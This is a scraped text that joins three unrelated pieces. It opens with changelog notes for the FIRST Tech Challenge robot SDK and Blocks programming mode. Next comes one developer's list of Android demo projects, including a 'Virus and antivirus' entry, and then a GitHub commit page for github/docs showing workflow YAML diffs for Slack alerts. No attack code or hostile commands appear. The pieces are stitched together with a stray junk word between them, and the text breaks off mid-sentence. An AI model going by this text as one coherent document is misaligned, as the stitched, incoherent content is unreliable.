Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
harshalbenake
(1) Name :- ActionBarSearchView Description :- Action bar search view. (2) Name :- Adsfree Description :- Admob integration. (3) Name :- AndroidDayDreamDemo Description :- Day dream demo. (4) Name :- android query demo live Description :- Google play live app details parsing. (5) Name :- Arc GIS map Description :- Arc gis map integration without hash key. (6) Name :- aviarySdk Description :- Aviary integration for image operations. (7) Name :- BetterGestureDetector Description :- Gesture accrate detection. (8) Name :- BlinkText Description :- Blinking text. (9) Name :- BuzzBoxSDKHelloWorld Description :- Buzz box integration cron scheduler. (10) Name :- CircularProgressBar Description :- Circular progress bar. (11) Name :- ContactNumbersDemo Description :- Get contact details from device. (12) Name :- ControlViewheight Description :- Manage height of specific view. (13) Name :- ControlViewHeightSeekbar Description :- Two listview manage appropriate hieght. (14) Name :- DownloadManagerAndroid Description :- Download specific file online. (15) Name :- Facebook Integration Description :- Facebook integration. (16) Name :- Graphview Description :- Graphview demo. (17) Name :- HB 1337 Description :- Virus and antivirus. (18) Name :- HomeButtonEvent Description :- Block home button press. (19) Name :- HomeLauncher Description :- Home launcher demo. (20) Name :- InAppPurchaseTut Description :- InAppPurchase demo. (21) Name :- KeyboardCustom Description :- Creating Custom keyboard demo. (22) Name :- MapDemoGeofencing Description :- Location map for geo fencing. (23) Name :- MapDemoV2Final Description :- Map demo for google version 2. (24) Name :- OpenGLESSquare Description :- Opengl moving square. (25) Name :- pagination numbering 2 Description :- Pagination type 2. (26) Name :- Pagination numbering Description :- Pagination type 1. (27) Name :- PhoneGapCordova Description :- Phone gap simple cordova demo. (28) Name :- PhoneGapCordovaCamera Description :- Phone gap for camera. (29) Name :- PhoneGapCordovaParsing Description :- Phone gap for parsing. (30) Name :- PhoneGapCordovaSMS Description :- Phone gap for sending sms. (31) Name :- RotatingWheel Description :- Rotating wheel by user interaction. (32) Name :- RotatingWheelSocialsites Description :- Rotating wheel by user interaction for socialsites. (33) Name :- RunningBackgroundServices Description :- Get Running services in background for package name/class name. (34) Name :- SearchList Description :- Searching from a specific list. (35) Name :- SearchViewContacts Description :- Search from contacts details. (36) Name :- SlidingDrawer Description :- Sliding drawer from bottom over another activity. (37) Name :- SpeechToTextDemo Description :- Convert speech to text. (38) Name :- TextToSpeak Description :- Convert text to speech. (39) Name :- TouchCordinates Description :- Get coordinate of user touch intergration. (40) Name :- TreeViewListDemo Description :- Tree view integration demo. (41) Name :- UninstallDeleteapp Description :- Uninstall another app from my app after removing admin permission. (42) Name :- ViewPagerCustomWidthFragment Description :- Fragment in viewpager. (43) Name :- WearableNotification Description :- Wearable notification. (44) Name :- WearablePages Description :- Wearable pages. (45) Name :- WidgetDemo Description :- Widget demo. (46) Name :- CameraIntentAll Description :- Camera demo for picture as well as video demo. (47) Name :- CameraOverlay Description :- Camera overlay image as aim shooting game. (48) Name :- DrmIntegration Description :- Drm Integration library for authorize users apk file. (49) Name :- SwipeRefreshLayout Description :- SwipeRefreshLayout Pulltorefresh like google. (50) Name :- TwitterIntegration Description :- Twitter Integration. (51) Name :- CameraADev Description :- Custom Camera for picture as well as video capture from android developer. (52) Name :- DataBaseSQLiteCRUD Description :- Simple SQLite CRUD funtions for contact database. (53) Name :- DataBaseSQLiteDBUtility Description :- Simple SQLite DBUtility all files and basic operations. (54) Name :- CustomDropdownMenu Description :- Custom Dropdown/Poup Menu. (55) Name :- CalenderSimpleView Description :- Simple calender view as well as timestamp using calender class. (56) Name :- CalendarProviderADevIntent Description :- Calender provider Intent from android developer. (57) Name :- AnimationTextViewAnimateLayoutChanges Description :- Animation of adding view inside another view using animatelayoutchanges. (58) Name :- DragnDropLowVersion Description :- Drag n drop funtionality for low version. (59) Name :- GoogleWalletAdev Description :- Google Wallet Integration from android developer. (60) Name :- AndroidShootingGame Description :- Android Shooting Game without opengl. (61) Name :- ViewPagerAnimation Description :- ViewPager page transformation for pages like alpha,scaling,rotation. (62) Name :- GoogleCloudWirelessPrintingIntent Description :- Google cloud wireless printing integration from google developer. (63) Name :- Barcode_or_QRCode_Scanner_openurl Description :- Barcord/QR code scanner from google play and open result url in browser. (64) Name :- MSServerListSyncSample Description :- List Sync Sample using MS Server. (65) Name :- SlidingMenuAPI Description :- Sliding Menu jeremyfeinstein library like facebook,gmail,etc. (66) Name :- GCMIntegration Description :- Google cloud messageing integration for notification. (67) Name :- NoiseAlert Description :- Detect noise or blow sound. (68) Name :- GregorianCalendar Description :- Basic Gregorian Calendar information. (69) Name :- getVariableName Description :- Get name of the variable not its value. (70) Name :- GoogleAnalyticsV4Adev Description :- Google analytics integration V4. (71) Name :- FlipboardAnimationAdev Description :- Animation like Flipboard. (72) Name :- Html5Camera Description :- Camera in Html5 without phonegap. (73) Name :- CopyPasteClipboard Description :- Copy & Paste Clipboard textual data. (74) Name :- AndroidPhpMysql Description :- Php and Mysql data parsing in android. (75) Name :- SpellChecker Description :- Check spelling and give appropriate suggestion for enter text. (76) Name :- PdfReader Description :- Read pdf file.Barcode/QR code scanner. (77) Name :- BarcodeQRcodeIntegration Description :- Barcode/QR code scanner using ZbarScanner lib and also Zxing lib without intent. (78) Name :- InstagramIntegrationApi Description :- Instagram Integration using sample demo. (79) Name :- Logger Description :- Read logger/logcat using api. (80) Name :- SmsControl Description :- Control device via sms codes. (81) Name :- EncryptDecryptString Description :- Encrypt string and Decrypt the same string. (82) Name :- FloatingActionButton Description :- Floating Action Button. (83) Name :- DownloadAndUnzipFile Description :- Download And Unzip File. (84) Name :- MoPubAd Description :- MoPub Ad Banner integration . (85) Name :- ListViewParsingDB_AndroidStudio Description :- ListView Parsing in android studio. (86) Name :- CustomCamera_AS Description :- Custom Camera using surfaceview. (87) Name :- ResizeableBox_AS Description :- Resizeable Box like crop. (88) Name :- AudioRecorder_AS Description :- Audio Recorder. (89) Name :- DateAndTimePicker_AS Description :- Date And Time Picker. (90) Name :- CustomActionBar_AS Description :- Simple Custom ActionBar. (91) Name :- CustomSpinner_AS Description :- Custom Spinner with default text item. (92) Name :- SendEmail_AS Description :- Send email in background after authentication. (93) Name :- GoogleAnalytics_AS Description :- GoogleAnalytics integration demo for crash and screen. (94) Name :- BroadcastReciever_AS Description :- Broadcast Reciever for sms ,call and boot receiver. (95) Name :- Azure Description :- Azure storage gsi credentials zip dowload. (96) Name :- InAppPurchase_AS Description :- In App Purchase simple demo. (97) Name :- iOS_Listview Description :- Simple Listview in ios. (98) Name :- iOS_Database Description :- Sqlite Database in ios. (99) Name :- MessangerList_AS Description :- Messanger Listview UI send and recieve. (100) Name :- FindingFriend_AS Geofencing for enter and exit another pin.
Sfedfcv
Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with 